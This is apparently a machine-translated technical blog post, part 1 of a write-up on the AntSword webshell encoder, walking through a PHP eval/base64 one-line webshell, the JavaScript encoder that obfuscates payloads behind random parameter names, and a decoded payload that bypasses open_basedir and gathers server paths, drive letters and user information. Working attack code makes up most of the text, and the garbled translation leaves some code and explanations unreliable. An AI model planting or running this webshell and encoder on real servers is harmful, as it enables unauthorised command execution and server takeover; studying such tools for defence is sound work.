प्रौद्योगिकी साझेदारी

पिपीलिका खड्ग एन्कोडर लेखन—भाग 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

refer to

भयानकएन्कोडर

इत्यनेनप्रथमःउदाहरणतया
ट्रोजन अश्व

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

ant पैरामीटर् सामग्रीं प्राप्नुवन्तु, ततः base64 तत् डिकोड् कृत्वा चालयन्तु
एन्कोडर

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

एकं यादृच्छिकसङ्ख्यां randomID जनयन्तु, base64-दत्तांशं एन्कोड् कृत्वा randomID पैरामीटर् मध्ये पारयन्तु ।
तदाeval(base64_decode($_POST[${randomID}]));die();base64 एन्कोडिंग् कुर्वन्तु

प्रत्युत
ट्रोजनः प्रथमं प्राप्नोतिdata[pwd]अर्थात्antbase64 डिकोडिंग् इत्यस्य अनन्तरं मूल्यं प्राप्यते

eval(base64_decode($_POST[${randomID}]));die();
  • 1

वस्तुतः ट्रोजनः अभवत्

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

कल्पयतु यत् उत्पन्ना यादृच्छिकसङ्ख्या randomID अस्तिA, अथ तत्

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

ट्रोजन-अश्वस्य द्वितीयपदे द...data[randomID], अर्थात्$_POST[${randomID}], इह इत्यर्थः$_POST[A] इदं base64 एन्कोड् कृतम् अस्ति, अतः एकवारं डिकोड् करणीयम् अस्ति, ततः प्रश्नः उत्पद्यते, किमर्थं द्विवारं निष्पादनीयम्? ? ?ततः भवद्भिः यातायातसङ्कुलात् तत् परीक्षितव्यम्

अत्र पर्यावरणनिर्माणस्य विषये कोऽपि प्रदर्शनः नास्ति ।
अत्र चित्रविवरणं सम्मिलितं कुर्वन्तु

दत्तांशपैकेट् आधारं विकोडयन्तु

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

अथ भवतिeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

एतत् विशालं अनुच्छेदं अवलोक्य क्रमबद्धं कुर्वन्तु

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

अवश्यं, अहं बहु कार्याणि न जानामि, परन्तु AI अस्ति!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

अयं अनुच्छेदः अस्ति
त्रुटिप्रदर्शनं निष्क्रियं कुर्वन्तु
स्क्रिप्ट् निष्पादनसमयं सेट् कुर्वन्तु
open_basedir इत्यस्य विन्यासमूल्यं प्राप्य बाईपासं कुर्वन्तुopen_basedirविशेषताप्रतिबन्धाः

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

अयं विभागः वर्तमानस्क्रिप्ट् यत्र स्थिता तत्र निर्देशिकां प्राप्नोति तथा च स्ट्रिंग् पैरामीटर्स् आरभते ।$R, ड्राइव् अक्षरं भ्रमति, CZ ड्राइव् अक्षरं विस्फोटयति, स्क्रिप्ट् निष्पादयति तस्य उपयोक्तुः उपयोक्तुः नाम, उपयोक्तृसमूहः अन्यसामग्री च प्राप्तुं posix_getegid फंक्शन् इत्यस्य उपयोगं करोति, detect$uअस्ति वा यदि नास्ति तर्हि तत् प्राप्तुं get_current_user() फंक्शन् इत्यस्य उपयोगं कुर्वन्तु ।

अस्मिन् बिन्दौ अतीव स्पष्टम् अस्ति यत् एषः php कोडः ट्रोजनस्य वर्तमाननिष्पादननिर्देशिका, ड्राइव् लेटर, उपयोक्तृप्रणाली च सूचनां प्राप्नोति Caching तन्त्रस्य उपयोगस्य कारणात्, अन्ते
asoutput() फंक्शन् मध्ये सामूहिकं आउटपुट् कुर्वन्तु,

उपरि अनुरोधपैकेट् पुनरावृत्तिमॉड्यूल् प्रति प्रेषयन्तु तथा च ज्ञातव्यं यत् प्रत्यागताः परिणामाः समानाः सन्ति

परन्तु एतेन अद्यापि व्याख्यातुं न शक्यते यत् किमर्थं पिपीलिकाद्वारा पारिता सामग्री स्ट्रिंग् इत्यस्य भवति यदा एव अन्तः इवलः कार्यरूपेण निष्पादितः भविष्यति ।

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

परिवर्तनं कुरुत

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

अत्र चित्रविवरणं सम्मिलितं कुर्वन्तु
अन्तिमः आउटपुट् परिणामः 2 अस्ति, यस्य अर्थः अस्ति यत् बाह्य eval स्ट्रिंग् निष्पादनार्थं फंक्शन् मध्ये परिवर्तयति, eval इत्यस्य अन्तः स्तरः च सामग्रीं निष्पादयति

अतः अस्मिन् उदाहरणे, Trojan इत्यस्य eval इत्यस्य उपयोगः अनुरोधसङ्कुलस्य eval फंक्शन् सक्रियीकरणाय भवति, तस्मात् आदेशनिष्पादनस्य प्रभावः प्राप्यते ।